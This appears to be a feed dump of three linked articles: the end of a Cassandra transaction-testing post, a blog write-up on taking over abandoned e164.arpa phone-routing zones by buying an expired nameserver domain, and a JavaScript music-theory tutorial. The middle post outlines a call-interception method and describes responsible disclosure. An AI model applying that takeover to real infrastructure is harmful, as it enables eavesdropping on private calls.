  COMMIT TRANSACTION;  -- assert sum(0, 1) = 2000 or error
}

---

check: SELECT balance FROM lab.accounts WHERE customer = 1;  -- assert sum(0) = 2000

blind-accord-same.cql

And if we run it a few times we’ll pretty consistently see errors in r1 .

$ ./monastery cql '127.0.0.1?consistency=quorum' blind-accord-same.cql
COUNT  CLIENT  ASSERTION                  GOT
    1  r1      sum(0, 1) = 2000 or error  ({1851, 1853})
70352e3f-f960-4036-8475-140a9314ce81
1 assertion(s) failed

However, I have never seen an error in the end result. There might be an isolation bug in concurrent transactions even while the durable result is not wrong.

Even if this is a bug, it’s not particularly damning. Distributed systems have bugs. And Cassandra 6 is not even released yet.

Parting thoughts #

This was my first exposure to Cassandra. I like it a lot. I like the builtin replication and builtin sharding. I like the novel consensus protocol and the strict serializability. It’s interesting to see how it has evolved over the years. And it will be interesting to see them continue to push toward being a more general-purpose database system. Interactive transactions would be cool.

And lastly, I’m looking forward to getting help from the ASF JIRA on if these are actual bugs or if they’re just mistakes in my own code.

Edit (August 17, 2026): C. Scott Andreas from Apple confirmed that we found an actual bug in Cassandra.

I accidentally logged hundreds of thousands of phone calls to military bases

Lobsters
lina.sh
2026-08-21 08:05:00
Comments...
Original Article

DNS hijacking is silly. I already took over different .gov and .edu domains in the past, but I just immediately reported that and moved on.
This one is a little different though, it's about how I took over phone-network infrastructure domains ( e164.arpa ) of entire territories, and accidentally logged hundreds of thousands of phone calls to military bases. But let's start at the beginning.

What is e164.arpa anyway?

ENUM ( e164.arpa ) was an idea from the early 2000s 1 : take a phone number, reverse the digits, put dots between them, and add .e164.arpa at the end, so +49 30 123456 becomes something like 6.5.4.3.2.1.0.3.9.4.e164.arpa . You can see that every German number will end up under .9.4.e164.arpa , which is the zone for all +49 numbers, and that zone is controlled by DENIC (the same organization that runs .de ). This means the DENIC decides which carrier or person gets which number ranges under that zone, just like they hand out .de domains (which makes it decentralized, making every country decide on delegation themselves).

The idea was that carriers could then look these domains up and get back a record saying "hey, this number can be reached over SIP/VoIP under this address", skipping the expensive phone network and re-routing calls over the cheap internet instead.

It never really took off though, and even back in its early days it saw barely any use. Over the years it just deteriorated further, and today it's basically completely dead. I do actually own 5.8.7.1.7.1.3.2.6.1.9.4.e164.arpa and point it at this website, although technically I'm not supposed to do that (you can figure out my secondary number from that!). Germany is actually one of the last countries that still technically allows registering an e164.arpa domain, although I was the first person since 2019 to register one 2 .

The RFC says you should only set NAPTR records on these domains, which are the records that tell carriers where to route a call. It states that you absolutely shouldn't be using .arpa domains as normal "domains" and host stuff like websites on them, they are meant to be "infrastructure" domains (you might know in-addr.arpa for reverse DNS lookups for example). But there's nobody who can actually stop you from doing it, it's still just DNS at the end of the day, and nothing prevents you from slapping an A record on there and hosting a website. Some people actually really dislike that, and try to get Certificate Authorities to no longer issue certificates for .arpa domains 3 .

Hijacking a territory's phone network

I was scanning e164.arpa to see if any of the delegated zones were hijackable, mostly out of curiosity about how neglected this whole system really was.

I found three country-code zones, 0.9.2.e164.arpa , 6.4.2.e164.arpa , and 7.4.2.e164.arpa , all delegated to the same two nameservers: ns6.icb.co.uk and ns.enum.org.uk .

Quick explainer for anyone who isn't a DNS person: when a domain is delegated to a nameserver, it basically means "for any question about this domain, go ask this server, it has the answers", and if I control the nameserver a domain points to, I control every DNS response for that domain.

icb.co.uk still exists as a domain, but the specific ns6.icb.co.uk subdomain no longer resolves to anything, meaning any request falls back to the second listed nameserver instead: ns.enum.org.uk .

And that domain had expired, so I bought it for just 5€, and just like that I controlled the DNS for 0.9.2.e164.arpa , 6.4.2.e164.arpa , and 7.4.2.e164.arpa . Reversed, those are phone codes +290, +246, and +247: Saint Helena, the British Indian Ocean Territory (Diego Garcia), and Ascension Island respectively (funnily enough, those territories also have the popular ccTLDs .sh , .io , and .ac ).

To be clear about what this meant: when a carrier does an ENUM lookup for one of these numbers, they're essentially asking "where do I route this call?", and I could answer with whatever I wanted. I could point it at my own SIP server, accept the incoming call, and then place an outgoing call to the real destination with a spoofed number. The person being called would see the original number ringing, and after picking up would speak to the person on the other end as if everything was normal, but I'd be sitting silently in the middle of the entire conversation. I would theoretically be able to do this for every single request that I got if I could re-route a number, if anyone was still actually using this system.

I reported it right away to everyone I could think of, through multiple channels into the British government, and got nothing back. My best guess is that someone at the Internet Computer Bureau (who seemingly managed them in the past) set these nameservers up over a decade ago. Then e164.arpa slowly died out, and whoever set it up either moved on or just forgot about it, leaving nobody to renew a domain nobody remembered they depended on.

Checking if anyone actually uses this

Q Misell (a researcher of the Max-Planck-Institute for Informatics) had heard about this and reported it to RIPE (who manages e164.arpa ) on my behalf, but RIPE also declined to do anything, because e164.arpa delegations are governed by an ITU-T committee at the UN level. And RIPE wasn't willing to go against a decision made by a UN committee, which would probably be a bureaucratic nightmare.

Q also asked if I had any data on how much traffic these zones actually got, which I didn't know. And because I was very curious about that myself, I set up logging on 0.9.2.e164.arpa (Saint Helena) to find out, and waited a full day.

Not a single query came in. So after trying my best to get anyone to care and getting nowhere, I just kept the domains, since nobody seemed to be relying on them anyway.

I hosted my personal site on it, spun up a Fediverse instance , a Matrix homeserver, and handed out subdomains to friends, because why not, it's a dead system. It's not like it's gonna hurt anyone, and no one cares. So it's time to be whimsical and have fun with it.

Six months later...

Just out of curiosity, I checked the logs again on all three zones, since I enabled logging running on the other two as well when I set everything up.

Hundreds of thousands of ENUM queries, all logged 4 . Since the domain name is literally just the phone number reversed, you can simply flip it back around to get the real number, so I had full phone numbers, timestamps, and the source IP addresses of the DNS resolvers making the requests.

Hundreds of thousands of lines in logs looking just like this (phone numbers are randomized)

Almost none of it was for Saint Helena ( 0.9.2.e164.arpa ), it was basically almost entirely 6.4.2.e164.arpa and 7.4.2.e164.arpa : Diego Garcia and Ascension Island. The source IPs were mostly American. That would at least explain why I originally didn't see any traffic, as I was only logging Saint Helena.

So I had accidentally logged hundreds of thousands of phone numbers and timestamps for calls going to military bases. And as described earlier, a malicious actor could have simply MITM'd every single one of them. I mean I am no expert, but I would assume that in hundreds of thousands of calls between soldiers and their families, sensitive information would always slip here and there eventually. A nation state with an interest in what's happening on those bases would have absolutely loved sitting on this for months without anyone noticing. It's not hard to imagine who might want that kind of intel on Diego Garcia specifically, but I'll get to that later.

My DNS server replied with an NXDOMAIN for all queries, so they were just being routed over the normal phone network. But after realizing this I shut the DNS server down and deleted all the log files.

Suddenly, people care

I reported it for a second time to the UK's National Cyber Security Centre (NCSC), and this time, mentioning that military bases were involved, they actually cared a lot .

They couldn't figure out who had originally set up the abandoned delegation, and actually fixing it properly ran into the same ITU-committee issues from earlier, so for a while nothing changed. Even a year later I still owned the domain and could've in theory still intercept the traffic, though I had wiped the zone completely so ns.enum.org.uk just returned NXDOMAIN for everything at that point.

Then on March 20th, 2026, Iran fired ballistic missiles at Diego Garcia 5 . It maybe would've been interesting to see if there was a spike in calls from worried family members that day, but by then I was long done logging anything. But this shows that a state actor could have been interested in this information.

Shortly after, the NCSC let me transfer ownership of the domain directly to them, right after I had to renew it for another 5€ (because otherwise, it would be up for grabs again, and anyone could do the aforementioned stuff).

So the NCSC now controls ns.enum.org.uk , but the nameservers for those three zones still point there. So in the end, I was down 10€ in domain fees, there was sadly no bug bounty (I thankfully didn't get my door kicked in at least). And on top of that, it's a funny story :P

Footnotes
  1. RFC 3761 - The E.164 to URI DDDS Application (ENUM)

  2. The DENIC publishes annual reports on their ENUM registrations, the last time anyone registered one was in 2019 , up until when I registered three in 2025 .

  3. At this point, a friend of mine ( 86dd ) had set up a secondary nameserver for the zones, without any logging. I had logged 100,170 queries to 6.4.2.e164.arpa and 99,902 queries to 7.4.2.e164.arpa , and 9,133 queries to 0.9.2.e164.arpa . This should be approximately half of the total queries that were sent to us; Meaning it were ~400.000 requests in total

  4. Wikipedia: 2026 Iranian strike on Diego Garcia

Music theory for programmers

Lobsters
runjs.app
2026-08-21 08:03:04
Comments...
Original Article

I can't play an instrument. I have tried more than once, and each time I got as far as being able to make roughly the right noises without ever understanding why they were the right noises.

The problem was never the practice. It was that every explanation of music theory seemed to miss out the fundamental reasons for how and why things are the way they are. Here is a staff. Here are the notes on it. This is a major scale, memorise the pattern. Why those notes? Why that pattern? Because that is the convention.

Which is a strange way to teach a system that essentially comes out of physics and arithmetic. There are twelve notes for a reason. The major scale has the shape it has for a reason. Chords that sound good sound good for a reason, and you can compute those reasons.

So I wanted to start from scratch and learn music from first principles, and I began that journey by writing code.

This article is the result. It starts with a single number changing over time, and if you follow along, you will derive the twelve notes, build scales and chords out of arrays, and write a chord progression that sounds like actual music. No instrument needed, and nothing you have to take on faith. Written notation does turn up, but not until the very end, once there is something for it to be notation of .

A sound is a number that changes over time

Sound is just air pressure wobbling. A speaker makes sound by pushing its cone in and out, and everything your computer does with audio comes down to producing a list of numbers describing where that cone should be, forty-four thousand times a second.

An audio file is that list written down. A synthesiser makes the list up as it goes, and the browser will do that part for you if you say what shape you want. The simplest shape is a sine wave, so here is one repeating 440 times a second:

A sine wave at 440Hz

const osc = ctx.createOscillator();

osc.frequency.value = 440;

osc.connect(out);

osc.start();

osc.stop(ctx.currentTime + 1);

ctx and out are mine rather than the browser's. Everything else is the Web Audio API exactly as it ships. To run that snippet anywhere else, start with:

const ctx = new AudioContext();

const out = ctx.destination;

The number 440 is the only thing there that carries any musical meaning, and even that is arbitrary. It is the frequency somebody agreed to call "A", and it is the tuning fork the rest of the system is pinned to. Change it to 300 and run it again. You get a different pitch and nothing breaks, because at this level there are no notes yet, just a number.

Frequency is pitch: higher number, higher note. That is the entire mapping, and it is the last thing about music that will be this simple.

Why that note clicked

You may have heard a little click at the end of that. That is not a bug in the browser, it is physics being unforgiving.

The oscillator was mid-wave when it stopped, so the speaker cone was somewhere out at the edge of its travel and then instantly snapped back. An instant jump in pressure is what a click is .

The fix is a second number that changes over time, this one controlling volume rather than pitch. Musicians call the shape of it an envelope:

The same note with an envelope

const osc = ctx.createOscillator();

osc.frequency.value = 440;

const env = ctx.createGain();

const t = ctx.currentTime;

env.gain.setValueAtTime(0, t);

env.gain.linearRampToValueAtTime(0.3, t + 0.01);

env.gain.exponentialRampToValueAtTime(0.001, t + 1);

osc.connect(env).connect(out);

osc.start(t);

osc.stop(t + 1);

An envelope is the volume curve of a single note, from silence back to silence. The rise at the front is the attack and the fall afterwards is the decay.

Ten milliseconds to fade in, then a slow decay to nearly nothing. That is the difference between a test tone and something you would be willing to listen to twice.

Drag the attack out towards half a second and the note stops arriving and starts swelling. It is no longer something struck, it is something bowed, and the pitch has not moved by a single hertz. The envelope is doing more work here than the frequency is.

This is a simplified envelope, though. The full version is ADSR: attack, decay, sustain and release, where sustain is the level a note holds at while a key is down, and release is how it fades once you let go.

The function below is a helper that each subsequent example uses:

function note(freq, start = 0, length = 0.5, type = "sine") {

const t = ctx.currentTime + start;

const osc = ctx.createOscillator();

const env = ctx.createGain();

osc.type = type;

osc.frequency.value = freq;

env.gain.setValueAtTime(0, t);

env.gain.linearRampToValueAtTime(0.3, t + 0.01);

env.gain.exponentialRampToValueAtTime(0.001, t + length);

osc.connect(env).connect(out);

osc.start(t);

osc.stop(t + length);

}

Timbre is the frequencies you did not ask for

A sine wave is a single frequency and nothing else, which is why it sounds like a hearing test and unlike any instrument. Pluck a guitar string tuned to 440Hz and you do get a wave repeating 440 times a second, but the string is also vibrating in halves, and in thirds, and in quarters, all at the same time. Those are extra frequencies at 880, 1320, 1760 and on up, all riding on top of the one you asked for.

That stack is called the harmonic series. The note you asked for is the fundamental, and the series is that frequency multiplied by 1, 2, 3, 4, 5 and on up:

1 x 220 Hz

2 x 440 Hz

3 x 660 Hz

4 x 880 Hz

5 x 1100 Hz

6 x 1320 Hz

7 x 1540 Hz

8 x 1760 Hz

The harmonic series of 220 Hz. Click a bar to hear that harmonic on its own.

Click the bars. On their own they are fairly boring. What matters is that they arrive as a package, and the recipe of how loud each one is relative to the others is what makes a violin sound like a violin and not a trumpet. Musicians call that timbre, and it is the same note either way.

The browser ships four of those recipes ready-made:

Four waveforms, same pitch

["sine", "triangle", "square", "sawtooth"].forEach((type, i) => {

note(220, i * 0.7, 0.6, type);

});

Same 220Hz, four very different characters. A square wave contains only the odd harmonics, which is why it sounds hollow and slightly electronic. A sawtooth contains all of them and sounds harsh and buzzy. The scope above shows the shape of each one as it plays, and the shape is the harmonic recipe.

Remember the harmonic series, because it is about to explain the entire rest of this article. Every note you play drags a stack of quiet extra notes along with it, and which notes those are is not up to us. It is arithmetic, fixed by the physics of vibrating strings and columns of air, and it comes out the same on every instrument built around them.

Doubling the frequency gives you the same note

Here are five notes. Every one is double the frequency of the one before it.

One note, five times

[110, 220, 440, 880, 1760].forEach((freq, i) =>

note(freq, i * 0.45, 0.4),

);

They are different pitches, and yet they sound like the same note . Not just similar, the same. Cultures with no contact with each other have landed on this independently: double the frequency and you get something so alike it deserves the same name. In Western notation these frequencies, in the above example, are all called A, and the distance between them is the octave.

The naming is not arbitrary, and the harmonic series explains why. Every harmonic of 440 is already sitting in the harmonic series of 220, because 220's series is 220, 440, 660, 880, 1100 and 440's is 440, 880, 1320, 1760. The higher note adds no frequency the lower note was not already producing. It is not a new colour, it is the same colour, brighter.

220 Hz and 440 Hz , repeating every cycle of the lower note

Two things fall straight out of that.

Pitch is multiplicative, not additive. Going up an octave means times two, not plus anything. The gap from 110 to 220 is 110Hz and the gap from 880 to 1760 is 880Hz, and they sound like exactly the same distance. Frequency space is logarithmic, and every interval in music is a ratio.

We only have to solve one octave. Because doubling returns you to the same note, the entire problem of "which pitches should exist" reduces to "how should we divide up the space between a frequency and twice that frequency". Solve it once and the answer tiles the whole audible range for free.

So: how do you divide an octave?

Simple ratios sound good, and here is why

The naive answer is to divide it evenly and go home. Nobody does that, because it turns out we do not experience all pairs of frequencies the same way. Some combinations sound settled and some sound like a mistake, and you can hear the difference immediately.

Six ratios against the same note

const ratios = [

["2/1 octave", 2],

["3/2 fifth", 3 / 2],

["4/3 fourth", 4 / 3],

["5/4 major third", 5 / 4],

["16/15 semitone", 16 / 15],

["√2 the awkward one", Math.SQRT2],

];

ratios.forEach(([label, ratio], i) => {

note(220, i * 1.4, 1.2);

note(220 * ratio, i * 1.4, 1.2);

console.log(label, "->", (220 * ratio).toFixed(2) + "Hz");

});

The first four sound like chords . The 16/15 sounds like two notes arguing. The last one sounds like a car alarm. And the pattern is not subtle once you see it: the simpler the fraction, the better it sounds. 2/1 the octave, then 3/2 the fifth, then 4/3 the fourth, then 5/4 the major third, and by the time you get to 16/15 it has fallen apart entirely.

That is a suspiciously arithmetic result for something as subjective as "sounds nice", and there are two physical reasons for it.

The first is the harmonic series again. Play 220 and 330 together, which is a 3:2 ratio. The first note produces 220, 440, 660, 880, 1100, 1320. The second produces 330, 660, 990, 1320, so they share 660 and 1320 exactly. Two notes a fifth apart are not really two separate sounds, they are two heavily overlapping stacks that reinforce each other. Now try 220 and 311, which is close to √2. Nothing lines up, at any harmonic. You get two full stacks of frequencies that have nothing to do with each other.

The second reason is roughness. When two frequencies are close but not identical, they drift in and out of phase and you hear the volume pulsing. That is beating, and it is the thing that makes an out-of-tune note sound out of tune:

Beating, from wide apart to identical

[220, 226, 223, 221, 220.5, 220].forEach((freq, i) => {

note(220, i * 1.3, 1.2);

note(freq, i * 1.3, 1.2);

});

The wobble slows down as the two frequencies converge and vanishes when they match, and the rate of it is exactly the difference between them. Six hertz apart, six pulses a second. When the fractions are complicated, the two stacks of harmonics are littered with pairs that are a few hertz apart, and every one of those pairs is beating away against the others. That is what dissonance is.

220 Hz and 440 Hz , repeating every cycle of the lower note

Switch between the ratios above and watch the green line, which is the two waves added together, exactly as your eardrum would add them. For 2:1 and 3:2 the combined shape settles into a repeating pattern almost immediately. For 16:15 it takes fifteen cycles to come back round. For √2 it never does, because √2 is irrational, so there is no pattern for your ear to lock onto at all.

Consonance is your ear finding a repeating pattern quickly. That is the whole mystery.

Stacking fifths, and the bug you cannot fix

Now we can actually build something. We know that simple ratios are the good ones, and after the octave itself, the cleanest ratio in physics is 3/2, the fifth.

So what happens if we try to build an entire musical alphabet using only octaves and fifths?

Do the obvious thing: keep going up by fifths, halving whenever you leave the octave. This is roughly what Pythagoras did, and it works beautifully for a while:

Stacking fifths inside one octave

let freq = 220;

const notes = [220];

for (let i = 0; i < 12; i++) {

freq = (freq * 3) / 2;

while (freq >= 440) freq = freq / 2;

notes.push(freq);

console.log(`fifth ${i + 1}: ${freq.toFixed(3)}Hz`);

}

notes.sort((a, b) => a - b).forEach((f, i) => note(f, i * 0.22, 0.3));

Look at the first note and the last note. We started on 220, applied twelve fifths, and landed on 222.99. Not 220. Close enough to be audibly trying to be the same note, and far enough off to be unusable.

The error is not rounding but something structural, and it is easier to see without the octave-folding:

The gap that cannot be closed

const twelveFifths = (3 / 2) ** 12;

const sevenOctaves = 2 ** 7;

console.log("twelve fifths:", twelveFifths.toFixed(6));

console.log("seven octaves:", sevenOctaves.toFixed(6));

console.log("ratio:", (twelveFifths / sevenOctaves).toFixed(6));

console.log(

"in cents:",

(1200 * Math.log2(twelveFifths / sevenOctaves)).toFixed(2),

);

note(220, 0, 1.5);

note((220 * twelveFifths) / sevenOctaves, 0, 1.5);

Twelve perfect fifths overshoot seven perfect octaves by a factor of 1.0136. That gap is called the Pythagorean comma. Cents are how pitch distances get measured, and there are 1200 of them in an octave, which is where that number in the code comes from. So 23 cents is about a quarter of the gap between two adjacent piano keys, and you can hear it in that last pair of notes as a slow ugly beating.

And it cannot be fixed, for a reason a programmer will recognise. Stacking fifths means multiplying by 3/2, so after n fifths you are at 3^n / 2^n . Stacking octaves means 2^m . For the two to ever meet you would need 3^n = 2^(n+m) , which requires a power of three to equal a power of two. Three and two are both prime. It never happens, for any n, ever.

The system we want, where the octave is pure and the fifths are pure and everything closes into a neat loop, does not exist and never has. Every tuning system in history is a different choice about where to dump the error.

Equal temperament is the compromise

The modern answer is brutal and elegant. Give up on pure ratios entirely. Take the octave, divide it into twelve equal multiplicative steps, and accept that nothing except the octave will be exactly right ever again.

One step is the twelfth root of two:

The twelfth root of two

const semitone = 2 ** (1 / 12);

console.log("one semitone =", semitone);

let freq = 220;

for (let i = 0; i < 13; i++) {

note(freq, i * 0.2, 0.28);

freq = freq * semitone;

}

console.log(

"twelve steps later:",

(220 * semitone ** 12).toFixed(10),

);

Twelve steps land on exactly 440, because that is how roots work, so the octave is perfect by construction and everything else is approximated.

The obvious question is why twelve. It is not tradition, and you can find the answer yourself in about fifteen lines. Divide the octave into n equal steps for every plausible n , then check how close the best available step comes to a real 3/2 fifth:

Brute-forcing the number twelve

function bestFifth(n) {

let error = Infinity;

let step = 0;

for (let candidate = 1; candidate < n; candidate++) {

const off = Math.abs(2 ** (candidate / n) - 1.5);

if (off < error) {

error = off;

step = candidate;

}

}

return { step, error };

}

for (let n = 5; n <= 25; n++) {

const { step, error } = bestFifth(n);

const pct = (error / 1.5) * 100;

console.log(

`${n} steps: best fifth is step ${step}, off by ${pct.toFixed(3)}%`,

);

}

// And here is what those errors actually sound like.

[5, 7, 12, 19].forEach((n, i) => {

const { step } = bestFifth(n);

note(220, i * 1.7, 1.5);

note(220 * 2 ** (step / n), i * 1.7, 1.5);

});

Those last four lines play the best fifth that 5, 7, 12 and 19 divisions can manage, each against the same 220Hz. The first two wobble, the third is clean, and the fourth sits in between. You are listening to the error column.

Twelve is the first division that gets the fifth right to about a tenth of a percent, and it is more than three times better than anything below it. Twenty-four ties, but only because twenty-four steps is twelve steps with a spare note wedged between each pair, so it is not really a competitor. You have to go all the way to 29 and 41 before the fifth gets better, and nobody is building a keyboard with 41 keys per octave. It is the cheapest number of notes that buys you a convincing fifth, and once the fifth is close the fourth and the thirds come along for the ride.

Here is how close:

Real fifth against the compromise

const pure = (220 * 3) / 2;

const tempered = 220 * 2 ** (7 / 12);

console.log("pure fifth: ", pure.toFixed(4) + "Hz");

console.log("tempered fifth: ", tempered.toFixed(4) + "Hz");

console.log(

"difference: ",

(1200 * Math.log2(tempered / pure)).toFixed(2),

"cents",

);

note(220, 0, 1.5);

note(pure, 0, 1.5);

note(220, 2, 1.5);

note(tempered, 2, 1.5);

Two cents flat. There is a slow beat in the second pair if you listen for it, and that beat is present in every fifth played on every piano on Earth. We all decided that being slightly wrong everywhere was better than being perfect in one key and unusable in the others.

The payoff is that notes are now integers . Pick any note as number 0, and every other note is a whole number of semitones away from it. The convention is MIDI numbering, where 69 is our 440Hz A, and the conversion is one line:

Notes are integers now

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

console.log("60 (middle C):", midiToFreq(60).toFixed(2));

console.log("69 (the A above it):", midiToFreq(69).toFixed(2));

console.log("81 (an octave up):", midiToFreq(81).toFixed(2));

[60, 62, 64, 65, 67, 69, 71, 72].forEach((n, i) =>

note(midiToFreq(n), i * 0.25, 0.4),

);

That last line is a major scale, and we have not defined what a scale is yet. It is just an array of integers. From here on everything in this article is done with arrays, and I stopped needing to think about frequencies at all.

Click a key

Twelve notes per octave, repeating forever. The black keys are not special, they are just the ones that did not get letter names.

That keyboard is worth staring at for a second, because the layout is a historical accident pretending to be structure. There are twelve equally spaced notes per octave. Seven of them got letters and a big white key, five got a sharp sign and a small black key, and the seven with white keys are exactly the scale you just played. The physics underneath is completely uniform, and the keyboard is not.

Why twelve notes and not all of them

Having twelve notes does not mean using twelve notes. Play all of them in order and it is remarkably unmusical:

All twelve, in order

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

for (let n = 60; n <= 72; n++) {

note(midiToFreq(n), (n - 60) * 0.18, 0.25);

}

It sounds like a sound effect, not a tune. Every step is identical, so nothing stands out, nothing sounds like home, and there is no way to tell where you are. It is a ruler, not a melody.

Music picks a subset . Almost always seven of the twelve, chosen so that the gaps between them are uneven, which is exactly what makes it possible to tell one note from another by ear. The subset is a scale, and a scale is best written not as notes but as the steps between them:

A scale is a list of gaps

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const major = [2, 2, 1, 2, 2, 2, 1];

function buildScale(root, pattern) {

return pattern.reduce(

(notes, step) => [...notes, notes.at(-1) + step],

[root],

);

}

const cMajor = buildScale(60, major);

console.log("C major:", cMajor);

cMajor.forEach((n, i) => note(midiToFreq(n), i * 0.25, 0.4));

The steps are 2 2 1 2 2 2 1 , adding up to 12 so the pattern closes the octave exactly. That is the major scale, the single most familiar sound in Western music, and it is a seven-element array.

Change one number and it becomes a completely different mood:

One number is the difference between happy and sad

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const build = (root, pattern) =>

pattern.reduce(

(notes, step) => [...notes, notes.at(-1) + step],

[root],

);

const patterns = {

major: [2, 2, 1, 2, 2, 2, 1],

naturalMinor: [2, 1, 2, 2, 1, 2, 2],

majorPenta: [2, 2, 3, 2, 3],

minorPenta: [3, 2, 2, 3, 2],

blues: [3, 2, 1, 1, 3, 2],

};

let when = 0;

Object.entries(patterns).forEach(([name, pattern]) => {

const scale = build(60, pattern);

console.log(name.padEnd(13), scale.join(" "));

scale.forEach((n, i) => note(midiToFreq(n), when + i * 0.22, 0.35));

when += scale.length * 0.22 + 0.5;

});

Major and natural minor are the same seven-note idea with the gaps shuffled. The pentatonic scales drop two notes, which is why it is so hard to play a wrong note in them, and why every beginner guitar lesson starts there. The blues scale adds one deliberately awkward note back in.

And now the thing that made me sit up. The modes, which I had always seen presented as seven exotic Greek names to be memorised, are the same array rotated . Take the first step off the front, put it on the back, and you have the next one:

Modes are array rotations

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const build = (root, pattern) =>

pattern.reduce(

(notes, step) => [...notes, notes.at(-1) + step],

[root],

);

const major = [2, 2, 1, 2, 2, 2, 1];

const names = [

"Ionian",

"Dorian",

"Phrygian",

"Lydian",

"Mixolydian",

"Aeolian",

"Locrian",

];

const rotate = (arr, by) =>

arr.map((_, i) => arr[(i + by) % arr.length]);

names.forEach((name, i) => {

const pattern = rotate(major, i);

console.log(name.padEnd(11), pattern.join(" "));

build(60, pattern).forEach((n, j) =>

note(midiToFreq(n), i * 2 + j * 0.2, 0.3),

);

});

Seven modes, one array, seven rotations. Ionian is the major scale and Aeolian is the natural minor, which means "major" and "minor" are not two systems, they are rotation 0 and rotation 5 of the same thing. Lydian sounds dreamy and Phrygian sounds Spanish and Locrian sounds broken, and all of that comes from moving which gap sits where relative to the note you started on.

This is the point where I stopped feeling like music theory was arbitrary.

Chords are notes stacked in thirds

A chord is more than one note at the same time. Which is not much of a definition, because most combinations sound terrible. The useful question is which combinations do not.

We already know the answer from the ratios: notes whose harmonics overlap. In a scale, the notes that fit that description are the ones two scale degrees apart, a gap musicians call a third. So take a scale, pick a starting degree, and grab every other note:

A triad is [0, 2, 4]

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const build = (root, p) =>

p.reduce((n, s) => [...n, n.at(-1) + s], [root]);

const cMajor = build(60, [2, 2, 1, 2, 2, 2, 1]);

const triad = [0, 2, 4].map((i) => cMajor[i]);

console.log("scale:", cMajor.join(" "));

console.log("triad:", triad.join(" "));

console.log("gaps:", triad[1] - triad[0], "and", triad[2] - triad[1]);

triad.forEach((n) => note(midiToFreq(n), 0, 2));

That is a C major chord. Three notes, at 0, 4 and 7 semitones above the note it is built on, which musicians call the root. In frequency that is 1 : 1.26 : 1.50, very nearly 4 : 5 : 6. Three simple ratios sharing harmonics all over the place. It sounds solid because the arithmetic is solid.

A third is either 4 semitones (a major third) or 3 semitones (a minor third), and stacking two of them gives you 7 semitones either way: major is 4 + 3, while minor is 3 + 4.

Now move the middle note down by one semitone:

One semitone, entirely different feeling

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const chord = (shape, root, at) =>

shape.forEach((s) => note(midiToFreq(root + s), at, 1.6));

const shapes = {

major: [0, 4, 7],

minor: [0, 3, 7],

diminished: [0, 3, 6],

augmented: [0, 4, 8],

};

Object.entries(shapes).forEach(([name, shape], i) => {

console.log(name.padEnd(11), shape.join(" "));

chord(shape, 60, i * 2);

});

Major to minor is one note moving by one semitone. That is the entire difference between the two emotional poles of Western music, and it is [0,4,7] versus [0,3,7] . Diminished squashes both gaps and sounds unresolved and anxious. Augmented stretches both and sounds like something is about to go wrong in a film.

I found this genuinely annoying to discover, in a good way. I had absorbed the idea that major and minor were deep categories. They are a single array element differing by one.

Add a fourth note, another third up, and you get seventh chords, which are where music starts sounding less like a hymn and more like something you would hear on purpose:

Sevenths

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const shapes = {

"major 7th": [0, 4, 7, 11],

"minor 7th": [0, 3, 7, 10],

"dominant 7th": [0, 4, 7, 10],

};

Object.entries(shapes).forEach(([name, shape], i) => {

console.log(name.padEnd(13), shape.join(" "));

shape.forEach((s) => note(midiToFreq(60 + s), i * 2.2, 1.8));

});

Major 7th is the jazz-cafe chord. Minor 7th is smooth and slightly melancholy. The dominant 7th is the interesting one. Dominant is just the traditional name for the fifth degree of a scale, and this chord is about to do a lot of work.

A key gives you seven chords for free

Here is the part that finally made chord charts stop looking like hieroglyphics.

There is nothing special about starting on the first degree. Do it from each of the seven in turn, wrapping around the octave, and you get seven chords, all built only from the seven notes of the scale:

Seven chords out of one scale

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const build = (root, p) =>

p.reduce((n, s) => [...n, n.at(-1) + s], [root]);

const scale = build(60, [2, 2, 1, 2, 2, 2, 1]).slice(0, 7);

const names = ["C", "D", "E", "F", "G", "A", "B"];

const chordOn = (degree) =>

[0, 2, 4].map((step) => {

const i = degree + step;

return scale[i % 7] + Math.floor(i / 7) * 12;

});

names.forEach((name, degree) => {

const notes = chordOn(degree);

const shape = notes.map((n) => n - notes[0]);

const quality =

shape[1] - shape[0] === 4

? "major"

: shape[2] - shape[0] === 6

? "diminished"

: "minor";

console.log(`${name} ${quality.padEnd(11)} ${notes.join(" ")}`);

notes.forEach((n) => note(midiToFreq(n), degree * 1.5, 1.3));

});

Nobody chose those qualities. Three of them come out major, three come out minor, and the last one comes out diminished, and that pattern is forced by the uneven gaps in the scale. Start the every-other-note process on a degree whose neighbours are spaced 4 then 3, you get a major chord. Spaced 3 then 4, you get a minor one.

Musicians write those seven as Roman numerals: capital for major, lowercase for minor, and a small circle for the diminished one.

I ii iii IV V vi vii°

That notation is doing something useful, and it took me an embarrassingly long time to notice what. It describes chords by their position in the scale , not by their name. A V chord is "the chord built on the fifth degree", whatever key you are in, which is relative addressing. A chord chart written in Roman numerals is key-independent source, and transposing is adding a constant:

Roman numerals are relative addressing

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const build = (root, p) =>

p.reduce((n, s) => [...n, n.at(-1) + s], [root]);

function chordsInKey(root) {

const scale = build(root, [2, 2, 1, 2, 2, 2, 1]).slice(0, 7);

return (degree) =>

[0, 2, 4].map((step) => {

const i = degree - 1 + step;

return scale[i % 7] + Math.floor(i / 7) * 12;

});

}

// The same four numerals, played in two different keys.

const progression = [1, 5, 6, 4];

[60, 65].forEach((key, k) => {

const chord = chordsInKey(key);

progression.forEach((numeral, i) => {

chord(numeral).forEach((n) =>

note(midiToFreq(n), k * 7 + i * 1.6, 1.5),

);

});

});

Same shape, two different starting notes, and your ear recognises it as the same music, which is the whole reason the notation exists.

Tension and resolution

One chord is just a sound. Music is what happens when you put them in an order, and the order matters. Some sequences feel like they have arrived and some feel like a question.

The strongest pull in the entire system is from V back to I , and there are two concrete reasons for it.

The pull of V back to I

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const play = (notes, at, len = 1.6) =>

notes.forEach((n) => note(midiToFreq(n), at, len));

const C = [60, 64, 67]; // I

const G7 = [55, 59, 62, 65]; // V7

play(G7, 0, 1.8);

play(C, 2, 2.2);

